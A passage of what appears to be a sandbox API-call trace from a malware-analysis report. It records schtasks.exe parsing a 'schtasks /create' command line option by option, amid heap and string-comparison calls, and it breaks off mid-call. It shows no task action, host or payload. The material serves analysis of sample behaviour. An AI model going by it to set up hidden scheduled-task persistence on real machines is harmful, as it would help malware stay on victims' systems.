dwFlags=0x0, lpMem=0x3cc300) returned 1 [0146.681] GetProcessHeap () returned 0x3b0000 [0146.681] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc300) returned 0x8 [0146.682] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc300 | out: hHeap=0x3b0000) returned 1 [0146.682] GetProcessHeap () returned 0x3b0000 [0146.682] GetProcessHeap () returned 0x3b0000 [0146.682] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd30) returned 1 [0146.682] GetProcessHeap () returned 0x3b0000 [0146.682] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd30) returned 0x20 [0146.682] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd30 | out: hHeap=0x3b0000) returned 1 [0146.682] GetProcessHeap () returned 0x3b0000 [0146.682] GetProcessHeap () returned 0x3b0000 [0146.682] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc320) returned 1 [0146.682] GetProcessHeap () returned 0x3b0000 [0146.682] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc320) returned 0x6 [0146.683] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc320 | out: hHeap=0x3b0000) returned 1 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd60) returned 1 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd60) returned 0x20 [0146.683] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd60 | out: hHeap=0x3b0000) returned 1 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc340) returned 1 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc340) returned 0x8 [0146.683] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc340 | out: hHeap=0x3b0000) returned 1 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd90) returned 1 [0146.683] GetProcessHeap () returned 0x3b0000 [0146.683] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd90) returned 0x20 [0146.684] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd90 | out: hHeap=0x3b0000) returned 1 [0146.684] GetProcessHeap () returned 0x3b0000 [0146.684] GetProcessHeap () returned 0x3b0000 [0146.684] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc460) returned 1 [0146.684] GetProcessHeap () returned 0x3b0000 [0146.684] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc460) returned 0x8c [0146.684] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc460 | out: hHeap=0x3b0000) returned 1 [0146.684] GetProcessHeap () returned 0x3b0000 [0146.684] GetProcessHeap () returned 0x3b0000 [0146.684] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdc0) returned 1 [0146.684] GetProcessHeap () returned 0x3b0000 [0146.684] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccdc0) returned 0x20 [0146.685] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdc0 | out: hHeap=0x3b0000) returned 1 [0146.685] GetProcessHeap () returned 0x3b0000 [0146.685] GetProcessHeap () returned 0x3b0000 [0146.685] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc500) returned 1 [0146.685] GetProcessHeap () returned 0x3b0000 [0146.685] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc500) returned 0x8 [0146.685] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc500 | out: hHeap=0x3b0000) returned 1 [0146.685] GetProcessHeap () returned 0x3b0000 [0146.685] GetProcessHeap () returned 0x3b0000 [0146.685] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdf0) returned 1 [0146.685] GetProcessHeap () returned 0x3b0000 [0146.685] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccdf0) returned 0x20 [0146.686] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdf0 | out: hHeap=0x3b0000) returned 1 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd530) returned 1 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd530) returned 0x10 [0146.686] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd530 | out: hHeap=0x3b0000) returned 1 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce20) returned 1 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cce20) returned 0x20 [0146.686] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce20 | out: hHeap=0x3b0000) returned 1 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd00) returned 1 [0146.686] GetProcessHeap () returned 0x3b0000 [0146.686] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdd00) returned 0x6 [0146.686] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd00 | out: hHeap=0x3b0000) returned 1 [0146.687] GetProcessHeap () returned 0x3b0000 [0146.687] GetProcessHeap () returned 0x3b0000 [0146.687] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce50) returned 1 [0146.687] GetProcessHeap () returned 0x3b0000 [0146.687] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cce50) returned 0x20 [0146.687] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce50 | out: hHeap=0x3b0000) returned 1 [0146.687] GetProcessHeap () returned 0x3b0000 [0146.687] GetProcessHeap () returned 0x3b0000 [0146.687] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c54a0) returned 1 [0146.687] GetProcessHeap () returned 0x3b0000 [0146.687] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c54a0) returned 0x18 [0146.687] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c54a0 | out: hHeap=0x3b0000) returned 1 [0146.688] SetLastError (dwErrCode=0x0) [0146.688] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0146.688] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0146.688] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0146.688] VerifyVersionInfoW (in: lpVersionInformation=0x25c790, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25c790) returned 1 [0146.688] SetLastError (dwErrCode=0x0) [0146.688] lstrlenW (lpString="create") returned 6 [0146.688] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0146.688] SetLastError (dwErrCode=0x490) [0146.688] SetLastError (dwErrCode=0x0) [0146.688] lstrlenW (lpString="create") returned 6 [0146.688] GetProcessHeap () returned 0x3b0000 [0146.688] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cce50 [0146.688] GetProcessHeap () returned 0x3b0000 [0146.688] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd530 [0146.688] _memicmp (_Buf1=0x3cd530, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.688] GetProcessHeap () returned 0x3b0000 [0146.688] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x16) returned 0x3cd550 [0146.688] SetLastError (dwErrCode=0x0) [0146.689] _memicmp (_Buf1=0x3cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.689] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cbc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0146.689] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0146.689] GetProcessHeap () returned 0x3b0000 [0146.689] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x74e) returned 0x3cdd00 [0146.689] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3cdd00 | out: lpData=0x3cdd00) returned 1 [0146.690] VerQueryValueW (in: pBlock=0x3cdd00, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25c878, puLen=0x25c8e0 | out: lplpBuffer=0x25c878*=0x3ce09c, puLen=0x25c8e0) returned 1 [0146.690] _memicmp (_Buf1=0x3cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.690] _vsnwprintf (in: _Buffer=0x3cbc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25c858 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0146.690] VerQueryValueW (in: pBlock=0x3cdd00, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25c8e8, puLen=0x25c8d8 | out: lplpBuffer=0x25c8e8*=0x3cdec8, puLen=0x25c8d8) returned 1 [0146.690] lstrlenW (lpString="schtasks.exe") returned 12 [0146.690] lstrlenW (lpString="schtasks.exe") returned 12 [0146.690] lstrlenW (lpString=".EXE") returned 4 [0146.690] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0146.690] lstrlenW (lpString="schtasks.exe") returned 12 [0146.690] lstrlenW (lpString=".EXE") returned 4 [0146.690] lstrlenW (lpString="schtasks") returned 8 [0146.690] lstrlenW (lpString="/create") returned 7 [0146.690] _memicmp (_Buf1=0x3cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.690] _vsnwprintf (in: _Buffer=0x3cbc60, _BufferCount=0x19, _Format="%s %s", _ArgList=0x25c858 | out: _Buffer="schtasks /create") returned 16 [0146.690] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.690] GetProcessHeap () returned 0x3b0000 [0146.690] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cce20 [0146.690] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.690] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0146.690] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0146.690] GetProcessHeap () returned 0x3b0000 [0146.691] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x30) returned 0x3c7b00 [0146.691] _vsnwprintf (in: _Buffer=0x3cc060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25c858 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0146.691] GetProcessHeap () returned 0x3b0000 [0146.691] GetProcessHeap () returned 0x3b0000 [0146.691] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd00) returned 1 [0146.691] GetProcessHeap () returned 0x3b0000 [0146.691] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdd00) returned 0x74e [0146.691] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd00 | out: hHeap=0x3b0000) returned 1 [0146.691] SetLastError (dwErrCode=0x0) [0146.691] GetThreadLocale () returned 0x409 [0146.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.691] lstrlenW (lpString="create") returned 6 [0146.691] GetThreadLocale () returned 0x409 [0146.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.691] lstrlenW (lpString="?") returned 1 [0146.691] GetThreadLocale () returned 0x409 [0146.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.691] lstrlenW (lpString="s") returned 1 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="u") returned 1 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="p") returned 1 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="ru") returned 2 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="rp") returned 2 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="sc") returned 2 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="mo") returned 2 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="d") returned 1 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="m") returned 1 [0146.692] GetThreadLocale () returned 0x409 [0146.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.692] lstrlenW (lpString="i") returned 1 [0146.692] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="tn") returned 2 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="tr") returned 2 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="st") returned 2 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="sd") returned 2 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="ed") returned 2 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="it") returned 2 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="et") returned 2 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="k") returned 1 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.693] lstrlenW (lpString="du") returned 2 [0146.693] GetThreadLocale () returned 0x409 [0146.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="ri") returned 2 [0146.694] GetThreadLocale () returned 0x409 [0146.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="z") returned 1 [0146.694] GetThreadLocale () returned 0x409 [0146.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="f") returned 1 [0146.694] GetThreadLocale () returned 0x409 [0146.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="v1") returned 2 [0146.694] GetThreadLocale () returned 0x409 [0146.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="xml") returned 3 [0146.694] GetThreadLocale () returned 0x409 [0146.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="ec") returned 2 [0146.694] GetThreadLocale () returned 0x409 [0146.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="rl") returned 2 [0146.694] GetThreadLocale () returned 0x409 [0146.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="delay") returned 5 [0146.694] GetThreadLocale () returned 0x409 [0146.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.694] lstrlenW (lpString="np") returned 2 [0146.694] SetLastError (dwErrCode=0x0) [0146.694] SetLastError (dwErrCode=0x0) [0146.694] lstrlenW (lpString="/create") returned 7 [0146.733] lstrlenW (lpString="-/") returned 2 [0146.733] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.733] lstrlenW (lpString="create") returned 6 [0146.733] lstrlenW (lpString="create") returned 6 [0146.733] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.733] lstrlenW (lpString="create") returned 6 [0146.733] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.733] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|create|") returned 8 [0146.733] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|create|") returned 8 [0146.733] lstrlenW (lpString="|create|") returned 8 [0146.733] lstrlenW (lpString="|create|") returned 8 [0146.733] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0146.734] SetLastError (dwErrCode=0x0) [0146.734] SetLastError (dwErrCode=0x0) [0146.734] SetLastError (dwErrCode=0x0) [0146.734] lstrlenW (lpString="/tn") returned 3 [0146.734] lstrlenW (lpString="-/") returned 2 [0146.734] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.734] lstrlenW (lpString="create") returned 6 [0146.734] lstrlenW (lpString="create") returned 6 [0146.734] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.734] lstrlenW (lpString="tn") returned 2 [0146.734] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.734] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|create|") returned 8 [0146.734] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.734] lstrlenW (lpString="|create|") returned 8 [0146.734] lstrlenW (lpString="|tn|") returned 4 [0146.734] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0146.734] SetLastError (dwErrCode=0x490) [0146.734] lstrlenW (lpString="?") returned 1 [0146.734] lstrlenW (lpString="?") returned 1 [0146.734] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.734] lstrlenW (lpString="tn") returned 2 [0146.734] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.734] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|?|") returned 3 [0146.734] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.734] lstrlenW (lpString="|?|") returned 3 [0146.734] lstrlenW (lpString="|tn|") returned 4 [0146.734] SetLastError (dwErrCode=0x490) [0146.734] lstrlenW (lpString="s") returned 1 [0146.735] lstrlenW (lpString="s") returned 1 [0146.735] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.735] lstrlenW (lpString="tn") returned 2 [0146.735] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.735] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|s|") returned 3 [0146.735] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.735] lstrlenW (lpString="|s|") returned 3 [0146.735] lstrlenW (lpString="|tn|") returned 4 [0146.735] SetLastError (dwErrCode=0x490) [0146.735] lstrlenW (lpString="u") returned 1 [0146.735] lstrlenW (lpString="u") returned 1 [0146.735] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.736] lstrlenW (lpString="tn") returned 2 [0146.736] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.736] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|u|") returned 3 [0146.736] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.736] lstrlenW (lpString="|u|") returned 3 [0146.736] lstrlenW (lpString="|tn|") returned 4 [0146.736] SetLastError (dwErrCode=0x490) [0146.736] lstrlenW (lpString="p") returned 1 [0146.736] lstrlenW (lpString="p") returned 1 [0146.736] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.736] lstrlenW (lpString="tn") returned 2 [0146.736] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.736] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|p|") returned 3 [0146.736] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.736] lstrlenW (lpString="|p|") returned 3 [0146.736] lstrlenW (lpString="|tn|") returned 4 [0146.736] SetLastError (dwErrCode=0x490) [0146.736] lstrlenW (lpString="ru") returned 2 [0146.736] lstrlenW (lpString="ru") returned 2 [0146.736] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.736] lstrlenW (lpString="tn") returned 2 [0146.736] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.736] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ru|") returned 4 [0146.736] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.736] lstrlenW (lpString="|ru|") returned 4 [0146.736] lstrlenW (lpString="|tn|") returned 4 [0146.736] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0146.736] SetLastError (dwErrCode=0x490) [0146.736] lstrlenW (lpString="rp") returned 2 [0146.737] lstrlenW (lpString="rp") returned 2 [0146.737] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.737] lstrlenW (lpString="tn") returned 2 [0146.737] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.737] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rp|") returned 4 [0146.737] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.737] lstrlenW (lpString="|rp|") returned 4 [0146.737] lstrlenW (lpString="|tn|") returned 4 [0146.737] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0146.737] SetLastError (dwErrCode=0x490) [0146.737] lstrlenW (lpString="sc") returned 2 [0146.737] lstrlenW (lpString="sc") returned 2 [0146.737] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.737] lstrlenW (lpString="tn") returned 2 [0146.737] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.737] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.737] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.737] lstrlenW (lpString="|sc|") returned 4 [0146.737] lstrlenW (lpString="|tn|") returned 4 [0146.737] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0146.737] SetLastError (dwErrCode=0x490) [0146.737] lstrlenW (lpString="mo") returned 2 [0146.737] lstrlenW (lpString="mo") returned 2 [0146.737] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.737] lstrlenW (lpString="tn") returned 2 [0146.737] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.737] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.737] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.738] lstrlenW (lpString="|mo|") returned 4 [0146.738] lstrlenW (lpString="|tn|") returned 4 [0146.738] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0146.738] SetLastError 